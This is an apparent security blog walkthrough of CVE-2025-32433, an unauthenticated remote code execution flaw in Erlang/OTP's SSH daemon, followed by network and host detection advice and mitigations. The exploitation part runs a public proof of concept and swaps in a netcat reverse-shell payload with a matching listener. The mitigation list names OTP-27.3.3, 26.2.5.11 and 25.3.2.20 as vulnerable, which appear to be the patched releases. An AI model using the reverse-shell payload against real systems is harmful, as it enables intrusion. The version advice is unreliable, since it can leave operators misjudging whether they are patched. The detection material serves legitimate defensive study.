---
title: "CVE-2025-32433 (Erlang/OTP SSH RCE vulnerability)"
description: "CVE-2025-32433, unauthenticated RCE in the Erlang/OTP SSH implementation: full exploitation walkthrough plus network and host detection techniques."
canonical_url: "https://amrelsagaei.com/cve-2025-32433-erlang-otp-ssh-rce-vulnerability"
last_updated: "2025-06-03"
---

<post-media video="19X1TFUE5TY">



</post-media>

When people think of Erlang, they think of uptime, a language built for resilience, powering telecom systems, distributed databases, and scalable messaging platforms. But with CVE-2025-32433, we’re seeing what happens when the very features that make a system robust become its Achilles' heel.

This vulnerability is a serious **unauthenticated remote code execution (RCE)** issue in the SSH implementation of Erlang/OTP. With a **perfect 10.0 CVSS score**, this bug allows remote attackers to execute code *without credentials or user interaction*. It affects a broad range of systems, especially those built on high-availability Erlang infrastructure.

Let’s break it all down, not just how to exploit it, but how it works under the hood, what detection looks like, and how you can stay protected.

---

## What Makes CVE-2025-32433 So Dangerous?

CVE-2025-32433 targets **Erlang/OTP’s SSH daemon**, which mishandles the SSH protocol's message structure during the pre-authentication phase. According to SSH standards, messages with identifiers `>= 80` are meant to be sent *after* authentication. However, in this implementation, that restriction wasn’t enforced.

This means an attacker can send malicious messages **before** any login occurs, and get code execution if crafted properly.

In essence, this opens the door wide to anyone with network access to the SSH port.

---

## Exploiting the Vulnerability – From Theory to Practice

To demonstrate the impact of this flaw, we used a TryHackMe environment set up to mimic a vulnerable Erlang/OTP deployment. This isn’t about solving a room. It’s about analyzing how this exploit behaves in a real network.

### Step-by-Step Exploitation

1. **Clone the public PoC:**```bash
git clone https://github.com/ProDefense/CVE-2025-32433 cd CVE-2025-32433
```
2. **Edit the target IP:**<br />

Modify `CVE-2025-32433.py` with your target machine’s IP:```python
HOST = "MACHINE_IP"
PORT = 22
```
3. **Understand the payload:**<br />

The exploit runs a basic command to create a file on the target system:```python
file:write_file("/lab.txt", <<"pwned">>).
```
4. **Launch the attack:**```bash
python3 CVE-2025-32433.py
```

<br />

If the server is vulnerable, you’ll get confirmation, and the file will be created, **all without logging in**.

---

## Going Further: Proof of Full Command Execution

To validate the exploit more deeply, we modified the payload to exfiltrate data via `netcat`:

```python
os:cmd("nc {{ip}} 4444 -e /bin/bash").
```

With a listener running on the attacker machine:

```bash
nc -lvp 4444
```

We confirmed that arbitrary command execution was achieved, with output delivered directly to us.

---

## Detection Techniques

### Network-Based Indicators

Because this exploit abuses pre-auth SSH messages, it often evades traditional server-side logs. But at the network layer, you can still spot it:

- Look for `SSH_MSG_CHANNEL_REQUEST` before authentication
- Payloads that invoke suspicious Erlang commands like `file:write_file`, `os:cmd`, etc.

Packet inspection tools such as **Wireshark** and IDS platforms like **Suricata** or **FortiGate IPS** can help here. Expect to find the payload **in cleartext**.

---

### Host-Based Indicators

Once on the system, here’s what you can look for:

- Unusual files like `/lab.txt` or `/tmp/*` written recently
- Processes chained from SSH → shell → outbound connections
- Commands executed through `os:cmd` or unexpected usage of `netcat`, `wget`, etc.
- Audit logs showing shell spawns or file system writes from SSHD

Don’t forget to inspect **cron jobs**, **systemd timers**, and newly added persistence mechanisms.

---

## Mitigation and Remediation

Patch immediately if your system is running one of the following vulnerable OTP versions:

- **OTP-27.3.3**
- **OTP-26.2.5.11**
- **OTP-25.3.2.20**

If patching isn’t possible, consider the following short-term mitigations:

- Disable SSH on Erlang/OTP services temporarily
- Restrict port 22 access using firewalls
- Segment internal networks and isolate exposed Erlang hosts

---

## What Makes This CVE Unique

This isn’t a bug that needs advanced privilege chaining. There’s no brute force. No bypass.

It’s a clean, **pre-auth RCE** via a single malformed message, against a component that underpins fault-tolerant, real-time systems. That’s what makes it dangerous.

---

## Final Thoughts

Whether you're red team or blue team, **CVE-2025-32433** should be on your radar:

- It’s exploitable without auth
- It affects a widely used platform
- And it’s incredibly easy to detect and execute with minimal code

If you’re securing modern infrastructure, don’t overlook lesser-known stacks like Erlang. This CVE is a perfect reminder that even the most “mature” systems can hide critical flaws.

## Sitemap

See the full [sitemap](/sitemap.md) for all pages.